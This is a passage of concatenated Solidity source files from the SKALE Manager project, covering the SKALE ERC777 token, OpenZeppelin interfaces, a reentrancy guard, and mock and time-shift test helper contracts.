"@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../interfaces/IMintableToken.sol"; import "../Permissions.sol"; contract SkaleManagerMock is Permissions, IERC777Recipient { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); constructor (address contractManagerAddress) public { Permissions.initialize(contractManagerAddress); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } function payBounty(uint validatorId, uint amount) external { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); require(IMintableToken(address(skaleToken)).mint(address(this), amount, "", ""), "Token was not minted"); require( IMintableToken(address(skaleToken)) .mint(contractManager.getContract("Distributor"), amount, abi.encode(validatorId), ""), "Token was not minted" ); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleToken") // solhint-disable-next-line no-empty-blocks { } } pragma solidity ^0.6.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } pragma solidity ^0.6.0; /** * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP. * * Accounts can be notified of {IERC777} tokens being sent to them by having a * contract implement this interface (contract holders can be their own * implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Recipient { /** * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } // SPDX-License-Identifier: AGPL-3.0-only /* IMintableToken.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; interface IMintableToken { function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleToken.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./thirdparty/openzeppelin/ERC777.sol"; import "./Permissions.sol"; import "./interfaces/delegation/IDelegatableToken.sol"; import "./interfaces/IMintableToken.sol"; import "./delegation/Punisher.sol"; import "./delegation/TokenState.sol"; /** * @title SkaleToken * @dev Contract defines the SKALE token and is based on ERC777 token * implementation. */ contract SkaleToken is ERC777, Permissions, ReentrancyGuard, IDelegatableToken, IMintableToken { using SafeMath for uint; string public constant NAME = "SKALE"; string public constant SYMBOL = "SKL"; uint public constant DECIMALS = 18; uint public constant CAP = 7 * 1e9 * (10 ** DECIMALS); // the maximum amount of tokens that can ever be created constructor(address contractsAddress, address[] memory defOps) public ERC777("SKALE", "SKL", defOps) { Permissions.initialize(contractsAddress); } /** * @dev Allows Owner or SkaleManager to mint an amount of tokens and * transfer minted tokens to a specified address. * * Returns whether the operation is successful. * * Requirements: * * - Mint must not exceed the total supply. */ function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleManager") //onlyAuthorized returns (bool) { require(amount <= CAP.sub(totalSupply()), "Amount is too big"); _mint( account, amount, userData, operatorData ); return true; } /** * @dev See {IDelegatableToken-getAndUpdateDelegatedAmount}. */ function getAndUpdateDelegatedAmount(address wallet) external override returns (uint) { return DelegationController(contractManager.getContract("DelegationController")) .getAndUpdateDelegatedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateSlashedAmount}. */ function getAndUpdateSlashedAmount(address wallet) external override returns (uint) { return Punisher(contractManager.getContract("Punisher")).getAndUpdateLockedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) public override returns (uint) { return TokenState(contractManager.getContract("TokenState")).getAndUpdateLockedAmount(wallet); } // internal function _beforeTokenTransfer( address, // operator address from, address, // to uint256 tokenId) internal override { uint locked = getAndUpdateLockedAmount(from); if (locked > 0) { require(balanceOf(from) >= locked.add(tokenId), "Token should be unlocked for transferring"); } } function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) internal override nonReentrant { super._callTokensToSend(operator, from, to, amount, userData, operatorData); } function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal override nonReentrant { super._callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } // we have to override _msgData() and _msgSender() functions because of collision in Context and ContextUpgradeSafe function _msgData() internal view override(Context, ContextUpgradeSafe) returns (bytes memory) { return Context._msgData(); } function _msgSender() internal view override(Context, ContextUpgradeSafe) returns (address payable) { return Context._msgSender(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.6.0; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; Removed by SKALE // import "@openzeppelin/contracts/utils/Address.sol"; Removed by SKALE import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; /* Added by SKALE */ import "../../Permissions.sol"; /* End of added by SKALE */ /** * @dev Implementation of the {IERC777} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * Support for ERC20 is included in this contract, as specified by the EIP: both * the ERC777 and ERC20 interfaces can be safely used when interacting with it. * Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token * movements. * * Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there * are no special restrictions in the amount of tokens that created, moved, or * destroyed. This makes integration with ERC20 applications seamless. */ contract ERC777 is Context, IERC777, IERC20 { using SafeMath for uint256; using Address for address; IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); mapping(address => uint256) private _balances; uint256 private _totalSupply; string private _name; string private _symbol; // We inline the result of the following hashes because Solidity doesn't resolve them at compile time. // See https://github.com/ethereum/solidity/issues/4024. // keccak256("ERC777TokensSender") bytes32 constant private _TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; // keccak256("ERC777TokensRecipient") bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // This isn't ever read from - it's only used to respond to the defaultOperators query. address[] private _defaultOperatorsArray; // Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators). mapping(address => bool) private _defaultOperators; // For each account, a mapping of its operators and revoked default operators. mapping(address => mapping(address => bool)) private _operators; mapping(address => mapping(address => bool)) private _revokedDefaultOperators; // ERC20-allowances mapping (address => mapping (address => uint256)) private _allowances; /** * @dev `defaultOperators` may be an empty array. */ constructor( string memory name, string memory symbol, address[] memory defaultOperators ) public { _name = name; _symbol = symbol; _defaultOperatorsArray = defaultOperators; for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) { _defaultOperators[_defaultOperatorsArray[i]] = true; } // register interfaces _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this)); _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this)); } /** * @dev See {IERC777-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC777-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {ERC20-decimals}. * * Always returns 18, as per the * [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility). */ function decimals() public pure returns (uint8) { return 18; } /** * @dev See {IERC777-granularity}. * * This implementation always returns `1`. */ function granularity() public view override returns (uint256) { return 1; } /** * @dev See {IERC777-totalSupply}. */ function totalSupply() public view override(IERC20, IERC777) returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of tokens owned by an account (`tokenHolder`). */ function balanceOf(address tokenHolder) public view override(IERC20, IERC777) returns (uint256) { return _balances[tokenHolder]; } /** * @dev See {IERC777-send}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function send(address recipient, uint256 amount, bytes memory data) public override { _send(_msgSender(), recipient, amount, data, "", true); } /** * @dev See {IERC20-transfer}. * * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient} * interface if it is a contract. * * Also emits a {Sent} event. */ function transfer(address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); address from = _msgSender(); _callTokensToSend(from, from, recipient, amount, "", ""); _move(from, from, recipient, amount, "", ""); _callTokensReceived(from, from, recipient, amount, "", "", false); return true; } /** * @dev See {IERC777-burn}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function burn(uint256 amount, bytes memory data) public override { _burn(_msgSender(), amount, data, ""); } /** * @dev See {IERC777-isOperatorFor}. */ function isOperatorFor( address operator, address tokenHolder ) public view override returns (bool) { return operator == tokenHolder || (_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) || _operators[tokenHolder][operator]; } /** * @dev See {IERC777-authorizeOperator}. */ function authorizeOperator(address operator) public override { require(_msgSender() != operator, "ERC777: authorizing self as operator"); if (_defaultOperators[operator]) { delete _revokedDefaultOperators[_msgSender()][operator]; } else { _operators[_msgSender()][operator] = true; } emit AuthorizedOperator(operator, _msgSender()); } /** * @dev See {IERC777-revokeOperator}. */ function revokeOperator(address operator) public override { require(operator != _msgSender(), "ERC777: revoking self as operator"); if (_defaultOperators[operator]) { _revokedDefaultOperators[_msgSender()][operator] = true; } else { delete _operators[_msgSender()][operator]; } emit RevokedOperator(operator, _msgSender()); } /** * @dev See {IERC777-defaultOperators}. */ function defaultOperators() public view override returns (address[] memory) { return _defaultOperatorsArray; } /** * @dev See {IERC777-operatorSend}. * * Emits {Sent} and {IERC20-Transfer} events. */ function operatorSend( address sender, address recipient, uint256 amount, bytes memory data, bytes memory operatorData ) public override { require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder"); _send(sender, recipient, amount, data, operatorData, true); } /** * @dev See {IERC777-operatorBurn}. * * Emits {Burned} and {IERC20-Transfer} events. */ function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public override { require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder"); _burn(account, amount, data, operatorData); } /** * @dev See {IERC20-allowance}. * * Note that operator and allowance concepts are orthogonal: operators may * not have allowance, and accounts with allowance may not be operators * themselves. */ function allowance(address holder, address spender) public view override returns (uint256) { return _allowances[holder][spender]; } /** * @dev See {IERC20-approve}. * * Note that accounts cannot have allowance issued by their operators. */ function approve(address spender, uint256 value) public override returns (bool) { address holder = _msgSender(); _approve(holder, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Note that operator and allowance concepts are orthogonal: operators cannot * call `transferFrom` (unless they have allowance), and accounts with * allowance cannot call `operatorSend` (unless they are operators). * * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events. */ function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); require(holder != address(0), "ERC777: transfer from the zero address"); address spender = _msgSender(); _callTokensToSend(spender, holder, recipient, amount, "", ""); _move(spender, holder, recipient, amount, "", ""); _approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance")); _callTokensReceived(spender, holder, recipient, amount, "", "", false); return true; } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * If a send hook is registered for `account`, the corresponding function * will be called with `operator`, `data` and `operatorData`. * * See {IERC777Sender} and {IERC777Recipient}. * * Emits {Minted} and {IERC20-Transfer} events. * * Requirements * * - `account` cannot be the zero address. * - if `account` is a contract, it must implement the {IERC777Recipient} * interface. */ function _mint( address account, uint256 amount, bytes memory userData, bytes memory operatorData ) internal virtual { require(account != address(0), "ERC777: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, amount); // Update state variables _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _callTokensReceived(operator, address(0), account, amount, userData, operatorData, true); emit Minted(operator, account, amount, userData, operatorData); emit Transfer(address(0), account, amount); } /** * @dev Send tokens * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _send( address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal { require(from != address(0), "ERC777: send from the zero address"); require(to != address(0), "ERC777: send to the zero address"); address operator = _msgSender(); _callTokensToSend(operator, from, to, amount, userData, operatorData); _move(operator, from, to, amount, userData, operatorData); _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } /** * @dev Burn tokens * @param from address token holder address * @param amount uint256 amount of tokens to burn * @param data bytes extra information provided by the token holder * @param operatorData bytes extra information provided by the operator (if any) */ function _burn( address from, uint256 amount, bytes memory data, bytes memory operatorData ) internal virtual { require(from != address(0), "ERC777: burn from the zero address"); address operator = _msgSender(); /* Chaged by SKALE: we swapped these lines to prevent delegation of burning tokens */ _callTokensToSend(operator, from, address(0), amount, data, operatorData); _beforeTokenTransfer(operator, from, address(0), amount); /* End of changed by SKALE */ // Update state variables _balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Burned(operator, from, amount, data, operatorData); emit Transfer(from, address(0), amount); } function _move( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) private { _beforeTokenTransfer(operator, from, to, amount); _balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance"); _balances[to] = _balances[to].add(amount); emit Sent(operator, from, to, amount, userData, operatorData); emit Transfer(from, to, amount); } /** * @dev See {ERC20-_approve}. * * Note that accounts cannot have allowance issued by their operators. */ function _approve(address holder, address spender, uint256 value) internal { require(holder != address(0), "ERC777: approve from the zero address"); require(spender != address(0), "ERC777: approve to the zero address"); _allowances[holder][spender] = value; emit Approval(holder, spender, value); } /** * @dev Call from.tokensToSend() if the interface is registered * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) */ function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) /* Chaged by SKALE from private */ internal /* End of changed by SKALE */ /* Added by SKALE */ virtual /* End of added by SKALE */ { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH); if (implementer != address(0)) { IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData); } } /** * @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but * tokensReceived() was not registered for the recipient * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) /* Chaged by SKALE from private */ internal /* End of changed by SKALE */ /* Added by SKALE */ virtual /* End of added by SKALE */ { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH); if (implementer != address(0)) { IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData); } else if (requireReceptionAck) { require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient"); } } /** * @dev Hook that is called before any token transfer. This includes * calls to {send}, {transfer}, {operatorSend}, minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - when `from` is zero, `tokenId` will be minted for `to`. * - when `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address operator, address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: AGPL-3.0-only /* IDelegatableToken.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface of the SkaleToken contract. */ interface IDelegatableToken { /** * @dev Returns and updates the amount of locked tokens of a given account `wallet`. */ function getAndUpdateLockedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the amount of delegated tokens of a given account `wallet`. */ function getAndUpdateDelegatedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the amount of slashed tokens of a given account `wallet`. */ function getAndUpdateSlashedAmount(address wallet) external returns (uint); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC777TokensSender standard as defined in the EIP. * * {IERC777} Token holders can be notified of operations performed on their * tokens by having a contract implement this interface (contract holders can be * their own implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Sender { /** * @dev Called by an {IERC777} token contract whenever a registered holder's * (`from`) tokens are about to be moved or destroyed. The type of operation * is conveyed by `to` being the zero address or not. * * This call occurs _before_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the pre-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensToSend( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleTokenInternalTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../SkaleToken.sol"; contract SkaleTokenInternalTester is SkaleToken { constructor(address contractManagerAddress, address[] memory defOps) public SkaleToken(contractManagerAddress, defOps) // solhint-disable-next-line no-empty-blocks { } function getMsgData() external view returns (bytes memory) { return _msgData(); } } // SPDX-License-Identifier: AGPL-3.0-only /* TimeHelpersWithDebug.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "../delegation/TimeHelpers.sol"; contract TimeHelpersWithDebug is TimeHelpers, OwnableUpgradeSafe { struct TimeShift { uint pointInTime; uint shift; } TimeShift[] private _timeShift; function skipTime(uint sec) external onlyOwner { if (_timeShift.length > 0) { _timeShift.push(TimeShift({pointInTime: now, shift: _timeShift[_timeShift.length.sub(1)].shift.add(sec)})); } else { _timeShift.push(TimeShift({pointInTime: now, shift: sec})); } } function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } function timestampToMonth(uint timestamp) public view override returns (uint) { return super.timestampToMonth(timestamp.add(_getTimeShift(timestamp))); } function monthToTimestamp(uint month) public view override returns (uint) { uint shiftedTimestamp = super.monthToTimestamp(month); if (_timeShift.length > 0) { return _findTimeBeforeTimeShift(shiftedTimestamp); } else { return shiftedTimestamp; } } // private function _getTimeShift(uint timestamp) private view returns (uint) { if (_timeShift.length > 0) { if (timestamp < _timeShift[0].pointInTime) { return 0; } else if (timestamp >= _timeShift[_timeShift.length.sub(1)].pointInTime) { return _timeShift[_timeShift.length.sub(1)].shift; } else { uint left = 0; uint right = _timeShift.length.sub(1); while (left + 1 < right) { uint middle = left.add(right).div(2); if (timestamp < _timeShift[middle].pointInTime) { right = middle; } else { left = middle; } } return _timeShift[left].shift; } } else { return 0; } } function _findTimeBeforeTimeShift(uint shiftedTimestamp) private view returns (uint) { uint lastTimeShiftIndex = _timeShift.length.sub(1); if (_timeShift[lastTimeShiftIndex].pointInTime.add(_timeShift[lastTimeShiftIndex].shift) < shiftedTimestamp) { return shiftedTimestamp.sub(_timeShift[lastTimeShiftIndex].shift); } else { if (shiftedTimestamp <= _timeShift[0].pointInTime.add(_timeShift[0].shift)) { if (shiftedTimestamp < _timeShift[0].pointInTime) { return shiftedTimestamp; } else { return _timeShift[0].pointInTime; } } else { uint left = 